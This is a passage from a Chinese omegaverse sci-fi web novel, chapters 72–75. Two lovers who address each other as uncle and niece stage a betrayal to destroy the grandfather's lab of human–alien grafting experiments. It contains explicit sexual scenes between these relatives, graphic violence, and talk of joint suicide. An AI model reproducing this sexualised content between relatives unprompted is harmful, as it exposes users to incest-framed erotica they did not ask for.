“我不喝,”她夺过季尝手中的果酒,“你也不要喝了。” “噢,我要喝,”季尝睁大了眼睛,握住她的手腕,“季舒虞,快给我。” 酒液在争夺中灌进他的领口,素白的衬衫染上了绯红,季尝被冰冷的酒液冷的瑟缩了一下,却不恼,还笑出了声,“要尝尝吗,大小姐?” 他料峭的锁骨和颈窝便成了盛满酒液的容器,看上去格外勾人。 像只蛊惑人心的精怪。 季舒虞太了解他了,看到他这幅模样,几乎一瞬间就明白他到底要做什么,叹了口气:“季尝。” “都是荔枝闹的,你不来管管?”季尝挑眉。 她接过智能管家递来的纸巾,要给他擦干净:“你今天喝了酒,早点睡,我晚上还要开会。” 这人就气恼地躲开,不许她碰自己:“不可理喻,我素了这么久,你帮帮我怎么了?” 有很久吗,也就几天而已。 季舒虞轻不可察地叹了口气:“季尝,一会要开会的。” “我不出声,你开你的会。”他很固执,一副今天必须如此的模样,眼睛湿湿的,“不会被发现的。” 他知道季舒虞很受不了他这个样子。 可能因为他平时太强硬,有时候稍稍服个软,就能短暂迷惑季舒虞。 但没想到这次失效了。 颈窝的酒液被喝完,她面不改色地让季尝自己去清理身体,打开了终端的会议。 那股清新的草木香气味道突然变得重了些。 季尝冷着脸,一颗颗将自己的扣子解开,直接跨坐在她的腿上。 他的裤子湿的厉害,季舒虞扬了扬眉头,这一表情彻底让他不满意了:“omega孕期就是这样,你就不能体谅一下,我好歹怀的是你的孩子,你忍忍怎么了,又没让你吃亏。” 季舒虞觉得好笑:“我挺喜欢的。” 季尝似乎有些别扭:“……哼,敢不喜欢你试试。” 他还要说什么,季舒虞没给他这个机会,压倒他:“嘘,要开会了。”—— 作者有话说:小叔其实很纯情的 第72章 这就不行了吗 第七十二章 这次会议内容是关于什么的, 季尝根本没注意。 他被季舒虞禁锢着,整个人狼狈不堪,只好将手臂遮在脸前,咬紧了下唇, 生怕泄露出什么声音, 被人发现季舒虞和他在这边做什么。 季舒虞的手指很灵活。 她甚至没有看季尝, 时不时发表一下意见, 很认真的在开会。 但这一根手指却叫季尝颤抖着流了眼泪。 他开荤开得晚,怀孕后更是欲求不满, 而且身体变得很敏感,像是那颗被他剥开壳的饱满、汁水丰沛的荔枝, 散发着甜香。 当然,季尝自己也不肯承认自己欲望大, 只说是omega的正常孕期反应。 但不论怎么说, 他也觉得这太丢人, 就遮挡着眼睛。 季舒虞甚至觉得,她再继续下去, 可能季尝会因此生气了。 “长官,还请您批复一下这份文件。” “嗯,发过来。”季舒虞牵着他几乎没有力气的手, 移开原位, 看到被遮挡着的眼睛。 那双漂亮的眼睛有些失焦, 眼瞳微微上翻, 挪开手臂的那一刻, 眼泪大滴大滴地滑落,将被子洇湿。 原本以为他快要生气了,结果居然哭成这样。 季舒虞突然就起了坏心思。 拿枪和手术刀的手很稳, 她是长官,也是医生,自然也很清楚季尝的点在哪里,所以想看季尝回神和挣扎,是很容易的事。 季尝猛然睁圆了眼睛,他挣脱不开,哪怕腿部线条绷紧,只能在她的精神领域发出断断续续的声音:“停、停下……” “这就不行了吗,小叔。”季舒虞不为所动。 明明是在做这种事,但季舒虞穿的很得体,看上去那么认真,好像季尝不是什么等待安抚的伴侣,而是一项简单却需要认真处理的工作。 季尝很受不了她这样。 “……别、别动,”季尝低低地喘了两声,在精神领域说,“进来。” 他的耳尖都红透了,明明是年长的一方,却处于弱势。 被彻底掌控的感觉并不好,可掌控他的是季舒虞,季尝又变得心甘情愿。 “不会有事吗?”季舒虞停下手上的动作,精神领域传来着女人的声音。 季尝得了喘息的机会,精神领域的声音也有些喑哑:“四个月、只要你不像、不像那天晚上一样,要我死在床上,就不会有事……” 那天晚上,是指她们久别重逢,干柴烈火那天。 当时她为季尝清理,看到了一些血丝,现在想来也难得有些后怕。 季尝的嘴是真的很硬,那时候她的确很过分,这人却说什么也没有坦白。 但凡季尝提起孩子,她绝对不会再进行下去。 季舒虞没有如他所愿。 会议还在进行,她不可能这么去做。 “唔——”季尝蜷紧了身子,没忍住发出低低的一声。 正在发言的文青山顿了一下,随后若无其事地继续:“……不过最近几个高等Alpha被派去捕捉异种,毕竟是成熟期的异种,捕捉难度很大,所以相应的损耗也很多。” “嗯,这些是不能控制的,毕竟是上级的要求,一切为了人民,”季舒虞声音平稳,“我想,或许我们应该找到几个消失的Alpha。” 高等级的Alpha和omega莫名失踪,却未掀起轩然大波,这很不合理。 她清楚这是季高的手笔,也清楚自己不能真正干涉他的长生计划,但季舒虞有的是办法。 “抱歉长官,我还没有查到这些人的行踪,还需要一定时间。” 文青山有意加速会议进程,安排几个主要职位的人汇报,随后结束了线上会议。 智能管家递来了纸巾。 季舒虞慢条斯理地擦着手,起身,平静地看着他:“小叔,你把床都弄湿了。” “……你混账。”他骂人都没了力气。 “不要总是说脏话,小叔,对小孩很不好。”季舒虞给他擦眼泪,“起来把牛奶喝了,你需要这些能量补充。” 季尝不愿意理她。 他很渴,也没有什么力气了,很想背过身去。 滴答—— 终端提示音响起。 “要我帮你打开吗?”季舒虞问。 “……今天几号?”季尝缓慢眨了一下眼,在他听到那个数字后,心脏明显停滞了一瞬,闷闷地咳嗽,“不用,我自己待一会。” “那好,如果有需要,就让智能管家叫我。”她说。 季尝紧张地盯着她的背影,直到门被彻底关闭,才缓慢地打开新消息。 是季高发来的。 他要他明天带季舒虞去那个地方。 心脏跳动的频率又开始不规律,传来阵阵绞痛,季尝捂着心口,急促地呼吸着,只是眼睛仍旧死死盯着光幕。 季高总是喜欢看后辈们做选择题。 因为他多次忤逆季高,这次,轮到他来做选择题。 他好不容易走到现在的爱人和他执着多年的母亲死亡真相,只能二选一。 季尝在理性角度多次告诉自己,真相已经不重要了,母亲已经死了很多年,斯人已逝,再执着这些也没有什么用处了,不如与季舒虞过好后半生。 凭着他对薇薇安的了解,母亲一定希望他这样做的,薇薇安从不希望他陷入危险。 可他还是过不了这一关。 如果母亲真的如季高所说,是他杀,而她是她唯一的、血脉相连的亲人只有他,如果他都不为母亲报仇的话,谁还能为她报仇,季高吗? 季尝一度怀疑母亲的死和季高脱离不了关系。 季高当年几乎认定了他就是S级的Alpha,当年想方设法要从薇薇安手中夺过抚养权。 他从来看重利益,无所不用其极。 季尝深深地吸了一口气。 如果他直接杀了季高,一切是不是就结束了,可如果杀母亲的另有其人,他又该怎么办。 可他也历经了千辛万苦才来到了爱人的身边,这是根本不能做出取舍的。 季高该死,可他没有办法两全。 “对不起。”眼泪顺着面颊,聚集在下巴。 “对不起,对不起……” 小腹传来一点抽痛,季尝咬紧了下唇,狠狠咬出血痕。 疼痛还能告诉他,他的确要面对这些选择,一个消息,还是他的爱人,这些都是真实的。 季尝甚至在想,如果今天死在这里,是不是就不用承受这些痛苦了。 他是胆小鬼,一直都是,只想逃避。 季舒虞把文件递给易灼,嘱咐:“亲自交到她手上。” “季姐姐放心,”易灼顿了顿,说,“对了,这段时间我不用去给牛奶小姐和维娅小姐做营养餐吗?” “嗯,不用了,有专人负责。” “哦,”他看起来失望极了,像是一只耷拉着耳朵和尾巴的小狗,“那,我也不用负责季姐姐的饮食和一些,生活上的事了吗?” 季舒虞微微扬了扬下巴:“你可以负责某些工作上的事。” 易灼打起精神,看着她郑重地点头:“长官放心!” 哒、哒、哒。 季尝披着一件黑色的上衣,扶着扶手,他很少有这种暗沉的颜色,很显然,那是季舒虞的。 他就这么懒洋洋地靠在二楼栏杆上,俯视着两人,视线挑剔地在易灼身上扫来扫去,随后看着她点评道:“啧,大小姐现在的品味真是……一如既往的肤浅。” 她面无表情地签完文件,抬头看向二楼,声音无波无澜:“下来,把牛奶喝了。” 季尝厌烦地皱眉:“我不喝。” 他讨厌牛奶的味道。 易灼被彻底忽略了,他战战兢兢地俯身,朝季尝行了个礼,就这么匆忙的离开。 “像只见不得光的老鼠。”季尝抱臂倚在一旁,真是要多刻薄有多刻薄。 “你嘴巴太坏了,会带坏小孩。”季舒虞抬手堵住他的嘴。 无法说话,季尝就翻了一个白眼,不情不愿地接过那杯牛奶,捏着鼻子喝光,上唇都沾了一圈奶渍:“难喝。” “你眼睛很红,怎么了,是不是遇到了什么事?” “……不是,”季尝别过头,为自己找补,“还不是都怪你,怪你那么过分。” “小叔,这也要怪我吗,我顾及你的身体,是你欲求不满。”季舒虞顺畅地说完这些,季尝也没有要堵住她嘴的意思,她忽而皱起眉头,“到底怎么了?” “……没什么,抱抱我吧。”他借着阶梯的优势,低头埋进季舒虞的颈窝,就这么抵着她,“一天天哪有那么忙,抱我一会,就一会……” 那股青涩的草木味将她包裹,轻轻的,酸涩的。 他情绪很不好。 季舒虞感觉到了,她轻轻拍着季尝的背:“我不喜欢你有什么事都瞒着我。” “瞒你什么,孕期反应而已。” 她释放出大量信息素,高浓度的信息素将他紧紧包裹,为他带来熟悉的痛爽,这更像是一个不容置喙的临时标记:“……身体不舒服?想要多少信息素?” “要很多,很多,”他的声音很低,被信息素刺激地腿也发软,“季舒虞,彻底标记我吧。” 如果这次他没有能力让季舒虞活着出来,等杀了当年的幕后主使,他就下去陪季舒虞。 他的爱人在哪儿,他就在哪儿。 “还不是时候,”季舒虞吻他发红的眼尾,却尝到了眼泪的咸涩,“别哭,好不好?” “我恨你,”季尝有些重地锤在她的肩膀,锤完似乎又后悔了,俯下身、轻轻咬她、吻她,“……季舒虞,我讨厌你。” “那怎么办,我很爱你,”季舒虞若有所思,“这算单相思吗,小叔?” 明明酸涩跟委屈抵达了顶峰,就这么被轻易化解掉了,季尝深深地吸了一口气。 那些准备好的话又说不出口了。 季尝狠狠掐紧掌心,只差一点就能掐出血痕的时候,被她轻而易举的化开:“不要总是伤害自己了,季尝,我不希望你总是受伤。” “一会有空吗,”他闭着眼睛,空空地吞咽了一瞬,“带我去个地方,我把地址发给你,需要你协助完成这个任务。” “任务?”她扬了扬眉头,“谁派发的?” “顺利完成的话,回来我们就结婚,”季尝看着她乌色的眼眸,呢喃道,“就能永远在一起了……” 谁也不能将她们分开。 季舒虞原本以为他的任务会在偏远的、荒无人烟的地界,结果顺着路径载他到了一处繁华闹市。 任务地点就在这个办公大楼,一个中层区。 这里太过平常,更像是一个普通写字楼,根本没有看出有什么奇怪的地方。 季舒虞还在观察这个地方,早在到这里的时候就给文青山发送了消息与位置,只是文青山还没有回复她。 “大小姐。”季尝走在她身前,她看不到他的表情。 季舒虞对危险很敏锐,在这一称呼落到她耳朵的时候,直接拔出了枪,对准眼前的男人:“季尝,你到底要做什么。” 砰—— 砰砰砰—— 接连几声,是各处大门被彻底关闭的声音。 原本走廊模样的地方,一些墙壁或是下落,或是上升,将这里原本的布局展现出来。 环形边缘满是各式各样的操作台,玻璃墙壁里有许多异种样本,人类样板,还有……人类和异种的缝合样本。 缝合大约60%异种身体的人类样本表情痛苦,不过他似乎得到了异种的超强自愈能力,很快与异种长在了一起。 至于缝合30%、80%的,形态各异。 这里是一个巨大的实验室。 是长生计划。 “你选择背叛我,支持长生计划。”季舒虞的视线最终落在他身上,她紧紧攫着季尝,一字一顿地说。 与其说是愤怒的质问,更像是平静地阐述。 季尝没有说话。 “回答我。” “哈哈哈,年轻人怎么这么大的火气,”整个实验室都回荡着季高的声音,“舒虞啊,你也不要怪他,毕竟相较于跟你在一起,我的儿子还是更想知道他生母死亡的真相。” 季舒虞没有理会他的话,她的视线只长久地停留在季尝的身上,带来巨大的压迫力:“季尝,是这样吗?” “说话,你不是很爱说话吗,怎么这时候不说了?” “哦别这样,这有些无聊了,让我想想还有什么好玩的。”季高似乎在踱步,在微笑着欣赏着她们的神情,而后想到什么似的, “啊,不如这样,季尝,我的好儿子,你还一直没有战胜过她,不如这次试试,要是你赢了,父亲不仅把薇薇安死亡记忆给你,季舒虞的官职也是你的,怎么样?” 季尝咬紧了牙关:“父亲,我不需要!” “好孩子,这可不是你需不需要的问题,是我想看。”季高的声音很愉悦,“你离成功只差这么一步,你就要放弃了吗,因为季舒虞?” “好儿子,希望你听的明白,杀了她,这些东西都是你的,杀不了她,你的努力就都白费了,这是很关键的一步,我相信你不是半途而废的人。” 季尝很久没有应答。 她清楚地感受到季尝的心跳频率乱了,面色惨白如纸,像是马上就要死在这里一样。 被爱人背叛的愤怒与震惊还在,但身体下意识的反应更快,她释放了大量安抚信息素,把季尝紧紧包裹住,试图用这种方式让他好一些。 “……季舒虞,你傻吗?”季尝咳出一口血,眼里已经蓄满了眼泪,有些狼狈地看着她,“我都要杀你了,英明的总协调官大人马上就要以这种方式死在这个恶心的实验室,你却、却释放你恶心的信息素……” 季舒虞放下枪,说:“我觉得你会喜欢的,季尝,你骗不了我。” 苍老的、不耐烦的声音打断这一切:“哦,我可不是要看这种感人的戏码,季尝,季舒虞,你们可是顶级的Alpha和omega,是时候分出胜负了。” 他像是一个兴奋的看客,迫不及待的要看两只最强大的猛兽打在一起,撕咬彼此的脖颈,看着鲜血迸出,强大的那只吃掉弱小的,分出胜负。 与此同时,角落释放出大量薄雾。 季舒虞眉头猛地皱紧——这是毒性很强的气体。 实验室很大,这些气体蔓延还需要一段时间,而这种气体只要打量吸入人体,哪怕是S级,也绝无生还的可能。 如果无人胜出,季高根本不打算让她们活。 季尝像是身体灵活的鬼魅,猛地闪到她身后,锋利的能量匕首擦着她的脖颈过去。 她猛然侧身,才堪堪避过。 季尝是真的想要她的命。 喉头有些发紧,季舒虞看着眼前的男人,只觉得陌生:“……我以为,你是真的喜欢我,也会彻底选择我。” “抱歉。” 他说着道歉的话,却没有半点内疚的神情。 刚与她温存过的人,抱着她哭过的人,现在拿枪对准了她—— 作者有话说:肥章,可以夸我[好的] 第73章 你要背叛我吗 第七十三章 S级的对决。 信息素变得极具压迫力, 不论是哪个方面。 实验室的一些玻璃器皿甚至炸裂开,她们几乎打遍了整个实验室,体力也消耗殆尽。 季舒虞没有留手,攻击着他最薄弱的地方。 很难想象, 一小时之前季尝还因为她的安抚浸湿了她的床单和被子。 她们是宿敌、性伴侣, 是爱人, 到现在, 也是为生的希望而决一死战的对手。 匕首刺透了季尝的作战服。 肩胛的位置开始滴滴答答的渗血。 他脸色本身就难看,现在更是惨白如纸, 却硬撑着不肯后退:“……呵,我们一定要走到这一步吗?” 他的声音很轻, 像是自言自语,又像是在问她。 季舒虞握着匕首的手没有松开:“是啊, 一定要走到这一步吗?” 明明她们已经爱上对方了, 很爱很爱。 “可我没有退路, 大小姐,”季尝那双琉璃一样的眼睛看着她, 含着笑,但看起来很悲伤,又那么冰冷, “我从来都没有退路。” “所以就要牺牲我吗, ”季舒虞觉得自己看不懂他, “那我算什么?” “抱歉。” 季尝道完歉, 身形猛然闪到她的身后, 仅仅一个吸气的时间,匕首破空,朝着她刺去:“……跟母亲死亡的真相比起来, 你确实什么都不算。” 当啷—— 那把能量匕首被她挑开。 季尝不可置信地看着她,也仅一息,随后似乎是满意而认真地笑了一声。 很久没有想杀死对方的想法了,差点忘记,她们是势均力敌的死对头。 谁都没有大于50%的生还几率。 他平静地看着她:“大小姐,你不该把我们的感情当真。” 这样的眼神不像是在看爱人,而是一个陌生人。 季舒虞第一次体验到了心脏抽痛和愤怒的感觉。 她以为她们是真心相爱。 结果只是利用彼此的床伴吗,那季尝留下这个孩子又算什么,提醒她自己栽在他手里了? 她能很好的控制情绪,但现在,这两股情绪交织在一起,她看着季尝,手中的能量匕首在信息素飘散的同时爆出耀眼的光芒。 “季尝,我的儿子,要不要帮忙?”季高的声音在压迫感极强的实验室里回响,随着他的话音落下,高处缓缓降下机枪。 季舒虞瞳孔缩了一下,被季尝看准时机缠上,原本的短匕首进攻变成肉搏。 他的身体不好,也总是暖不热,是温温的。 而怀孕后,季尝的腹部温度稍高了一些。 见她攻来,来不及躲闪,季尝当即护住小腹:“唔——” 明明已经走到了这一步,可毫不留情地出招时,季舒虞还是会不合时宜的想到这些。 “父亲,这些毒气不够浓郁。”季尝冷笑一声,他暂时占领优势,就会像难缠的蛇一样,让她无法脱身。 他话音刚落下,愈发浓郁的毒气逐渐蔓延开来,血腥味也越来越浓重。 她还是太信任季尝了。 如果不是那么相信这人,她今天就不会被困在这里。 那双漂亮的眼睛看着季舒虞,他流畅的腿部线条绷紧,绞紧她的脖子:“大小姐,赌输了的感觉如何?” 脖颈被逐渐收紧,血液聚集到头脑,季舒虞猛地撞向冰冷的墙。 季尝没有被撞下来,他牢牢地缠着她,大腿逐渐收紧,那股潮湿的草木味道将她席卷,浓烈到要将她溺毙在这里。 季舒虞讨厌窒息的感觉。 她直接一口咬在季尝的大腿上,听到他痛哼一声。 季尝胸膛急剧起伏着:“简直是,一条野狗。” 季舒虞借机脱身,身后却传来滴滴的声音。 是炸药。 轰隆—— 耳膜剧痛,她抬手一擦,眼前模糊的看到一抹血色。 □□的威力很强,幸而她反应快,在爆炸声响起的前一秒,扑到相对安全的地方,否则就算是S级的Alpha,也受不这样的冲击。 剧痛传遍身体,季舒虞能清晰地感知到毒液在体内蔓延,杀死她的一些细胞,有的细胞失了活性,血液变得稀薄。 耳边是阵阵嗡鸣,她强撑住身体,轻微晃动了一下,把喉头涌出的血吞回去:“……季尝,你真该死。” “你又好到哪里去呢,再怎么说,也是高层的狗,”季尝嘴角的笑意满是嘲讽,他抬手抹掉嘴角的血,“我是不是说过,不要轻信别人?” 季尝没有一点不想杀掉她的感觉,他几乎满眼都是对当年真相的渴望。 在他心里,没有什么能比薇薇安死亡的真相重要。 季舒虞看不出他的心痛与愧疚,好像那些话只是来敷衍缅怀她们死去的爱情的场面话。 她不想再废话。 如果从一开始一切都是假的,季尝只是为了欺骗和利用,那这一切都该结束了。 朱雀猛地变回正常形态,遮天蔽日的红色巨鸟将极高的天花板撞翻,爆出耀眼的火花,顶端的灯闪了两下,整个实验室顿时陷入黑暗。 季舒虞把他逼到墙角,压迫信息素像是一团浓郁的雾气,将他整个人笼罩。 她们在黑暗中缠斗,打遍了实验室的每一个角落。 毒气越来越浓郁,几乎要盖过压迫信息素。 实验室里还有一些易燃易爆的物品没有及时清理,这场爆炸兴许摧毁、点燃了许多数据和标本。 季舒虞不敢松懈。 她以压倒性优势直接跨坐在季尝的身上,掐紧他的脖颈,只差一点,就能掐死他、把他的脖子拧断。 一阵剧烈的,类似电击的疼痛从大脑开始,传遍四肢百骸。 “唔——”季舒虞瞬间就失去了所有的力气,溢出一声痛哼。 她看不清楚眼前的东西,一阵阵眩晕,手背的青筋都暴起,暴躁的低语者全身的疼痛。 血从鼻腔涌出,大滴大滴滴落在地,像是盛开的血花,艳丽又颓靡,无处不透露着危险。 是那片被种在她神经末梢的芯片。 信息素不受控制的充满了整个实验室。 芯片提醒她守序,控制她不许再动,像是只能引颈就戮的猛兽。 季尝被这股信息素压得动弹不得,他艰难地屈膝,想要趁季舒虞现在薄弱,无法还手的时候进攻,对上女人冰冷的眼睛。 他的脸上还有季舒虞的血。 温热,黏腻,带着腥甜的味道。 “……你都快死了,还要做什么?”他喉结上下滚了滚,压住骨子里的一点恐惧,问。 痛苦像庞大的山岳,将她彻底压制。 季舒虞除了抵抗疼痛,几乎没有了别的力气。 她直接把犬齿抵在季尝的脖颈上,疼痛之余还能感受到他脉搏的跳动。 从这儿一口咬下去,他会彻底死掉。 稍微偏一寸,咬破他的腺体,就能把他彻底标记。 他的身体已经习惯了季舒虞,在那股信息素愈发浓烈的时候,整个人不合时宜的变得潮湿,季尝艰难地喘息着,反手穿透她的肩胛:“疯子,疯子!” 被彻底标记后,如果季舒虞死了,他跟死也没什么区别了。 角落时不时闪烁红光,不知道是隐藏的□□,还是监控设备,或者,早就在暗中隐藏好的,强大而邪恶的生物。 季舒虞已经没有力气去分辩这究竟是什么。 芯片带来的痛苦开始断断续续,像是漏电的老旧机器。 不到一秒的时间里,她像是敏锐的捕猎者,一下攫住猎物,在季尝扑向她的时候朝着那个位置连开数枪。 砰砰砰—— 还有一道枪声。 不是她的。 她开枪速度太快,几声枪响连成一声。 季舒虞忍痛看向季尝,下一刻,她的胳膊被他扶住。 季尝看了她一眼,默契地掉转过身,随着几声枪响,角落的观察和攻击装置被摧毁,爆出火光,将实验室点燃。 “混蛋、混蛋!”季高气急败坏的声音传来。 “啊!” 随着枪声落下,一阵痛叫与喘息声传来,是季高倒地的声音。 他倒地喘息的声音像是古文明时期破旧的风箱,季舒虞厌恶地皱了皱眉,捂住流血的肩胛。 季尝直接扛起角落不知道搁置多久的熔穿炮,炸开了一条路。 那是一个满是电子屏幕的空间,而现在无数屏幕因为断电时不时闪出银光,季高撑着身子想要钻进一个角落。 似乎没有想到她们会以这种方式进来,季高瞪大的眼睛,那双苍老浑浊的灰色眼球的恐惧几乎要溢出。 他极力控制着情绪,但还是没有了往日运筹帷幄的感觉:“季尝,我的儿子,你要背叛我吗,只差最后一步,你母亲死亡的真相……” “父亲,我不喜欢做选择题。”季尝抱臂,居高临下的,厌烦地看着他。 在母亲和爱人之间做出选择,实在太困难了,他看着自己年迈的父亲,唇角勾出锋利的弧度:“所以,我都要。” 季高大口大口的呼吸着。 他中弹了,年老的身体承受不了这些。 这个年老的S级Alpha,此刻没有了上位者的姿态,像是阴沟里的一只灰毛老鼠,现在暴露在了阳光下,惊恐万分,失去了逃跑的能力。 他没有想到,季尝会选择背叛他。 这个孩子前期在他的期盼中长大,有点叛逆的心思他就会及时打消,也足够乖巧,以至于他根本没有想过,季尝居然会背叛他,选择季舒虞。 这是很不明智的想法与决定。 “哦对了,亲爱的,你是不是应该告诉我们的祖父,”他顿了顿,笑着偏了偏头,“或者我们的父亲,是不是还有件很重要的事没有告诉他?” 他突然开始纠结,现在应该跟着谁称呼—— 作者有话说:该叫父亲还是祖父呢(思考) 本章评论有随机红包降落 第74章 殉情吗 第七十四章 疼痛的余味仍在, 季舒虞的眉头没有松开,冷着脸垂眼看他:“这个时间,你资助凯伦博士进行非法实验,清除政敌、滥杀无辜的完整证据链, 想必已经公之于众了, 首席元老, 你还有什么想说的吗?” 这次, 她没有再叫季高祖父,而是称职务。 季高的嘴唇抖了抖, 他没有说话。 他早就知道这两人在背地里搜集他当年这些罪证,也知道当年没有把这些人处理干净, 必然有逃脱的,但长生计划的新安排迫在眉睫, 他以为她们的计划刚刚开始, 故而还没有全力阻拦。 没想到他会死在这件事上。 “……那些贱民算什么?”季高看着她们, 像是看两个幼稚的孩子。 他和世家的利益远比这些重要太多。 这些二三四等公民占比太多了,如果这些公民能提供一些有用的实验数据, 或是为一等公民做出贡献,她们也不算白活一遭,这已经是她们最大的价值了。 但季舒虞和季尝居然因为这些人来反抗、甚至要杀死他。 “那你亲吻一个贱民, 跟贱民生下孩子又算什么?”季尝唇角勾起嘲讽的笑。 季高脸色难看, 他从来养尊处优, 现在中了子弹, 虽然不致命, 但现在被自己的后辈堵在面前,趴在地上也实在不体面,他咳出一口血:“孩子, 我不跟你辩论这些,你该好好想想,薇薇安身前所看到的一切需要解密,没有我的权限,你无法查看……” “你是不是太淡定了,”季尝不满意他的反应,他抱臂看着季舒虞,“大小姐,是不是忘了还有一件事,想必他老人家更关心这一件呢。” 季高不由得屏住了呼吸。 他的伤口已经被牵扯的开始疼了。 他虽然是S级的Alpha,但这么多年养尊处优,就连受伤都是从来没有的,现如今子弹残留在身体里,他额角满是冷汗。 季舒虞唇角勾起一丝弧度,这才看向季高:“对了,你花了四十一年,害了几千条人命换来的完美基因序列,刚才打架的时候,不小心被你的好儿子一枪打穿了备份服务器。” “主文件已经被摧毁了,什么都没有留下,”她垂着眼睫,看着季高的情绪越来越激动,脸色却越来越惨白,“元老,你再花四十一年,也只能造出一堆废物。” 莫大的绝望和疯狂笼罩了他。 长生计划只差一点点,就这么一点,能让他获得永生。 但季舒虞和季尝却摧毁了他的计划。 这是他筹备四十一年,投入大量资源和金钱的结果。 季高的呼吸像破旧的机器运转,他硬撑着站起来,目眦欲裂地朝季舒虞扑了过来。 那把上了膛的枪刚瞄准她,电光火石间,季舒虞直接折断他的胳膊,一脚将他踹翻在地。 他像是一个被翻过壳,动弹不得的老乌龟,只能发出痛叫和愤怒的呼吸声。 他最看重的就是长生计划,其次是他的权利、地位、名誉,至于他的孩子们,这些都不重要。 子弹打在天花板上,季舒虞把那把枪踹远:“还有什么话想说吗?” 没有了长生计划,他就是没有壳的乌龟,只剩下一团恶心的软肉。 “我的、我的永生……”他伸出手,想要抓住远处那把枪,却被季尝一脚踩在手上。 他的军靴毫不留情地碾了碾,却故作惊讶:“哎呀,不小心踩到了,这很痛吧?” “那么,你是选择受私刑死亡,还是被审判后接受死亡呢,”季尝依旧微笑着,说出那个令他厌恶的称呼,“父亲。” 季舒虞和他从小就被要求做这样的选择。 “你的长生血清,只差最后24个小时的培养周期就能稳定,”季舒虞的语气依旧冷静和残酷,拿出那一管被保存很好的淡蓝色血清,“真可惜,稳定性被破坏了,它现在不仅不能让你永生,毒性还是之前的十倍。” 季高几乎失去理智了。 他脸上不可置信的呆滞消失,像野兽一样咆哮,没有了半点上位者的体面。 他想要夺回那一管血清。 季舒虞扬了扬眉,将那管血清丢在地上。 玻璃碎片和蓝色血清溅开,季高就像是抢食的野蛮生物,颤抖着抽出一支针管,将那只摔碎、里面残留的不稳定药剂全部抽取,声音还有些颤抖:“我的研究,是最完美的,我花了四十一年,我不会死、我不会死……” 那管剧毒的血清被他注入胳膊,季舒虞与他对视一眼,却没有阻止。 随着冰冷的血清进入身体,季高止不住的开始抽搐。 他的眼白往上翻,苍老的面颊不停地抖动,就连嘴角都流出口水和白沫,把领口都浸湿了,脸上却带着满足又僵硬的微笑。 看着癫狂,生硬的笑容像是被定格,他抽搐得越来越厉害:“呃——” 喉头的声音像是被挤出来的。 季舒虞皱了皱眉,直接一脚把他踹翻,利落地补了一发麻醉弹。 “我低估你了,”季尝哼笑一声,凑上前,嘴唇轻轻贴了贴她的面颊,“大小姐,这次又没有分出胜负呢……” 她顺势被季尝压在墙角,缓了一口气:“不先去看看他有没有死吗?” “死了最好,不是吗,反正他也跑不了,”他动作轻柔地为季舒虞擦着嘴角残留的血痕,“大小姐,赌赢的感觉怎么样?” 季尝演技太好了,就连她也差点被蒙骗过去。 她们没有商量过,是在交手的一瞬间,开始揣摩和配合对方的。 好在她们足够信任对方。 “你好像很熟悉这个实验室?” “我梦到过。” 梦里异种的缝合实验,异种的嘶吼和人类的凄厉求救声,他从这个实验室里抱出来一个小孩。 季尝至今还记得,梦中的小孩有一双漂亮的眼睛。 琥珀色和深黑色,水润润,像是宝石。 是异瞳。 他莫名觉得这个形象有些眼熟,像是和他有极大的关联,但怎么都想不起来。 季尝很讨厌这种感觉,他正要细想,季舒虞猛地咳出一口血。 “你怎么样?”季尝紧张地抱紧她,下意识地轻拍着她的背,这是一个安抚的动作,虽然不能缓解季舒虞的疼痛,却让她好了一点。 季高不是那么好骗的,她知道不够激烈就骗不过他,于是在季尝匕首刺来的时候生生扛了这一下。 “实验数据你看过了吗?”季舒虞看着他。 季高的实验还差一点,只差这0.1%就能完成。 季尝的风险也能降低到98%。 但这需要继续投入二等三等公民的生命。 季尝点点头,轻拍她的指尖不自觉地蜷了一下:“我们不继续下去。” 发现高等异种生物的研究项目是和人类缝合时,季舒虞还是沉默了。 只差一点这个项目就能圆满完成,只要项目完成,也能让季尝孕育的风险大大减小。 但她们两个都没有选择这样做。 “你有没有想过,如果我真的因为这件事要杀了你呢?” “你不会这样做。”季舒虞的语气很肯定,说完自己的观点,她还是顺着季尝的话问,“那如果你真的要杀我,后面打算做什么?” “我其实一直觉得活着没什么意思。” 他吃了太多苦了,其实撑着他走到现在的,是季家话事人这一目标。 他总要弄清楚母亲死亡的真相。 “所以,等你死了,我会杀了当年害我母亲死亡的人,再杀了那些搅弄风云的人,”他的声音低而缓,看着她的那双眼睛也那么认真,“我不会让你等太久的,小鱼,解决完这些,我就去陪你。” “殉情吗?” “嗯,殉情,我觉得自己可能离不开你了。”《 》 完结+番外 第75章 愿意嫁给我吗 第七十五章 季尝现在说情话越来越顺口。 她大概能想象出季尝冷漠地睥睨一切, 冰冷的靴底碾碎仇敌的头,为仇恨活着。 像行尸走肉。 她不希望自己的爱人往后余生这样活,也幸而她们不用这样活。 因为这次她们都足够坚定。 赌赢的感觉真的很棒。 她揽住季尝的腰,轻吻着他, 但季尝明显不满足于这些, 他的呼吸越来越快, 激烈地侵略着她的城池, 混着空气中属于她们两个的血腥味,并希望季舒虞回应他同等的激烈。 这个吻持续了很久, 直到她推了推季尝的肩膀,示意他适可而止。 她好像坚持不了多久了。 失血过多让季舒虞眼前一黑, 胳膊被季尝搀扶住,她清晰地感觉到, 耳边的声音已经开始不清晰:“季舒虞!” 季尝这人就是这样, 只有在生气和担心的时候才会叫她的名字, 平时都笑眯眯地叫她大小姐。 这样很好,好像那些身份和阻碍都消失了。 头脑昏昏沉沉的, 这次神经末梢的芯片带来的惩戒远比以往要严重太多,她第一次有抵抗不住的感觉。 她不能让季尝受到任何伤害,也必须配合他演好这场戏, 否则她们都会死在这里。 “……我没事, ”她轻轻地拍了拍季尝的手背, 声音很轻, “我睡一会。” “不行, ”季尝眉头紧紧皱了起来,“别睡,季舒虞, 千万别睡……” 身体已经透支到了极限。 她中了枪,又失血过度,与季尝不同,她对毒气没有免疫力,这样的剧毒对季尝都会有伤害,更何况是她。 好像快要撑不住了。 眼前的景象有些虚无,季尝看上去很紧张,他的眼里还有眼泪,快要掉下来了,季舒虞很想抬手给他擦一擦,想告诉他没事,别哭,可已经没有什么力气了。 “季舒虞,你敢死,我就恨你一辈子。” “我怎么办,荔枝怎么办,季舒虞……” 季尝从来没有这么失态、无助过。 他握着季舒虞的手,头脑一片空白,甚至不知道应该怎样处理眼下的情况。 之前她受了更严重的伤都没有出现这种情况。 她的手有些冷,季尝这么握着、捧着,凑到唇边哈气,吻她。 眼泪大滴大滴地掉在她的手背上,他尝到了略带苦涩的咸味,自责、愧疚,这些情绪像是海浪,想要将他打翻。 